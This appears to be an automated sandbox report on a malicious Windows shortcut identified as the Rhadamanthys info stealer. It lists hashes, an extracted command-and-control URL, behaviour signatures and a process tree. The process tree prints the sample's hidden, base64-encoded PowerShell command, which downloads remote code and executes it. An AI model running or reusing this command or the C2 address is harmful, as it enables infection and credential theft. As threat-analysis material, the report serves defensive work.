Analysis
- max time kernel
147s - max time network
152s - platform
windows10-2004_x64 - resource
win10v2004-20240226-en - submitted
05/04/2024, 11:16
General
- Target DOC692-692692.lnk
- Size 9KB
- Sample240405-nc45bsad2y
- SHA256 decbd662ecab295cb2c060232a6de8218843d671b7cb628aaf769ba4bcdf126f
Malware Config
Extracted
-
rhadamanthys
-
https://46.226.160.196:4075/51b2faec41519/e3lnfgog.utnm9
Signatures
- Rhadamanthys
Rhadamanthys is an info stealer written in C++ first seen in August 2022.
- Rhadamanthys family
- Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
- Blocklisted process makes network request 1 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 6 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 6 IoCs
Processes
-
C:\Windows\system32\sihost.exesihost.exe1⤵
-
C:\Windows\system32\dialer.exe"C:\Windows\system32\dialer.exe"2⤵
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC692-692692.lnk1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -Ex Bypass -WindowStyle Hidden -Enc KABpAHcAcgAgAGgAdAB0AHAAcwA6AC8ALwBpAG0AYQBuAGkAawB1AHUALgBjAG8AbQAvAGQAbwBuAGUALgB0AHgAdAAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAKQAuAEMAbwBuAHQAZQBuAHQAIAB8ACAAaQBOAHYATwBrAEUALQBFAHgAUAByAGUAUwBzAGkATwBuAA==2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
__PSScriptPolicyTest_2yu0hllo.pcz.ps1
memory/3656-24-0x000002B02B420000-0x000002B02B429000-memory.dmp
memory/3656-37-0x000002B02CFC0000-0x000002B02D3C0000-memory.dmp
memory/3656-31-0x000002B02CFC0000-0x000002B02D3C0000-memory.dmp
memory/3656-35-0x00007FFF33500000-0x00007FFF335BE000-memory.dmp
memory/3656-36-0x00007FFF32070000-0x00007FFF32339000-memory.dmp
memory/3656-33-0x00007FFF348F0000-0x00007FFF34AE5000-memory.dmp
memory/3656-28-0x000002B02CFC0000-0x000002B02D3C0000-memory.dmp
memory/3656-29-0x000002B02CFC0000-0x000002B02D3C0000-memory.dmp
memory/4960-22-0x00007FFF33500000-0x00007FFF335BE000-memory.dmp
memory/4960-17-0x00000176C8E30000-0x00000176C9230000-memory.dmp
memory/4960-21-0x00000176C8E30000-0x00000176C9230000-memory.dmp
memory/4960-2-0x00000176C8760000-0x00000176C8782000-memory.dmp
memory/4960-23-0x00007FFF32070000-0x00007FFF32339000-memory.dmp
memory/4960-19-0x00000176C8E30000-0x00000176C9230000-memory.dmp
memory/4960-18-0x00000176C8E30000-0x00000176C9230000-memory.dmp
memory/4960-20-0x00007FFF348F0000-0x00007FFF34AE5000-memory.dmp
memory/4960-30-0x00007FFF169A0000-0x00007FFF17461000-memory.dmp
memory/4960-32-0x00000176C8E10000-0x00000176C8E20000-memory.dmp
memory/4960-16-0x00000176C8E10000-0x00000176C8E20000-memory.dmp
memory/4960-34-0x00000176C8E30000-0x00000176C9230000-memory.dmp
memory/4960-15-0x00000176C8DB0000-0x00000176C8E0E000-memory.dmp
memory/4960-13-0x00000176C87D0000-0x00000176C87E0000-memory.dmp
memory/4960-14-0x00000176C87D0000-0x00000176C87E0000-memory.dmp
memory/4960-12-0x00007FFF169A0000-0x00007FFF17461000-memory.dmp